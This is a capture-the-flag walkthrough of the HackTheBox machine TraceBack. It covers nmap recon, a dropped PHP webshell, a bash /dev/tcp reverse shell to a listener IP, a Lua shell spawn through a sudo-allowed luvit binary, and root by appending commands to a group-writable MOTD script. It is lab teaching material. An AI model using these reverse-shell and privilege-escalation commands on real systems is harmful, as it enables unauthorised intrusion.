TraceBack

Platform: HackTheBox | Difficulty: Easy | OS: Ubuntu Author: D3v0o0Nu11 | Date: 2026-02-10 | Status: Solved

Summary

Walkthrough of the HackTheBox machine TraceBack (Ubuntu, attack surface: Apache httpd 2.4.29 ((Ubuntu)) (80), OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) (22)). Foothold via the vulnerable entry point; privilege escalation via cron. Both flags captured and redacted.

Recon

Port scan

 bash read-only • copy allowed Copy
nmap -p- -sV -sC traceback.htb --min-rate 1000 -Pn

Enumeration highlights

• Detected OS: Ubuntu.
• Open services: http (80), ssh (22).
• Scan used: nmap -p- -sV -sC traceback.htb --min-rate 1000 -Pn.

Foothold

Vulnerability / Misconfiguration

┌──(D3v0o0Nu11㉿htb)-[~]
└─$ nmap -p- -sV -sC traceback.htb --min-rate 1000 -Pn
Starting Nmap 7.93 ( https://nmap.org ) at 2024-06-25 19:53 PDT
Nmap scan report for traceback.htb (10.10.10.181)
Host is up (0.017s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 9625518e6c830748ce114b1fe56d8a28 (RSA)
|   256 54bd467114bdb242a1b6b02d94143b0d (ECDSA)
|_  256 4dc3f852b885ec9c3e4d572c4a82fd86 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Help us
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 56.67 seconds

1. Based from the nmap results above, seems the machine runs web application at port 80 and opens ssh login at port 22.

2. Seems the webapp is already compromised and the attacker left a backdoor which is accessible he said.

3. Hence let's execute directory listing using dirsearch.

4. However, dirsearch resulting to none. It means the webshell filename is not common.

5. Reviewing the message shown, resulting to no clue other than searching the Xh4H name online.

6. Traversing on the internet resulting to this:

7. Adding webshell to our search query, resulting to this:

8. The first result, should be our interest.

GITHUB

1. Enumerating each webshell file, the backdoor dropped is --> smevk.php.

Enter creds --> admin:admin (shown at the source code).

1. Indeed it seems the best backdoor 🤲🏻.

2. Long story short, after traversing to /home/webadmin, found a note from sysadmin team.

3. Reviewing the bash history file, found that a binary named luvit seems inside the sudo permission.

4. This could be used for our lateral movement later.

5. Great! Anyway let's get more comfy enumeration by getting a reverse shell.

6. I used simple bash reverse shell:

 txt read-only • copy allowed Copy
bash -c 'bash -i >& /dev/tcp/10.10.14.4/1337 0>&1'

1. Set up a listener at port 1337 than enter it on the execute box.

2. Remembering the luvit binary is inside the sysadmin home directory, we need to traverse there, but currently we are denied.

3. BUT thing to note, upon checking the sudo permission seems luvit is executable by any user.

4. Remembering we can specify a username, hence we could gain access to sysadmin's home directory.

5. Let's use the luvit binary.

===

USING LUVIT

• Sending shell spawn LOCs to lua.

echo "require('os');" > sysad.lua
echo "os.execute('/bin/bash');" > sysad.lua

Proof

User flag: REDACTED

Privilege Escalation

User -> Root/Admin

NOTES:

Remember to execute the ssh inside .ssh directory and don't forget to execute chmod 400 to id_rsa file.

1. Awesome, to gain root, I used linpeas to identify misconfigurations or vulns reside in this machine which might help us to gain root.

2. Also I used pspy64 to identify cron job processes run without the need for root.

3. Long story short, after reviewing the pspy64 result, found a process which executed as root user right after I change the shell mode to interactive.

4. Reviewing the next activity, turns out the process is executed at every 30 seconds.

5. Seems /etc/update-motd.d/ should be our target by now.

6. Noticed that sysadmin is group owner of all the files inside it and each files is executed as root.

7. Amazing! We can gained root easily by manipulating the one of the files inside it, then ssh again later on to trigger the cronjob.

NOTES:

So what is MOTD?
- Basicly Message of The Day or MOTD is a message prompted at the beginning of the shell login.

EX:

┌──(D3v0o0Nu11㉿htb)-[~/.ssh]
└─$ ssh -i sysadmin sysadmin@traceback.htb
#################################
-------- OWNED BY XH4H  ---------
- I guess stuff could have been configured better ^^ -
#################################

Welcome to Xh4H land 

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Wed Jun 26 01:16:00 2024 from 10.10.14.4
$ bash -i
sysadmin@traceback:~$

1. Reviewing the 00-header we can see clearly the prompted message.

2. Okay so there are actually several methods can be done to obtain the root flag. Either you want to PWN the root user by uploading a reverse shell payload, upload your root ssh keys OR even by simply cat the flag at the MOTD.

3. I am using the simplest method.

4. Simply run echo "cat /root/root.txt" >> 00-header.

5. Then quickly re-log to sysadmin.

Root flag: REDACTED

Flags

Lessons Learned

1. Enumeration.
2. Utilizing dropped backdoor.
3. Writing Lua.
4. Generating ssh-key to get more stable shell.
5. Manipulating SSH Motd.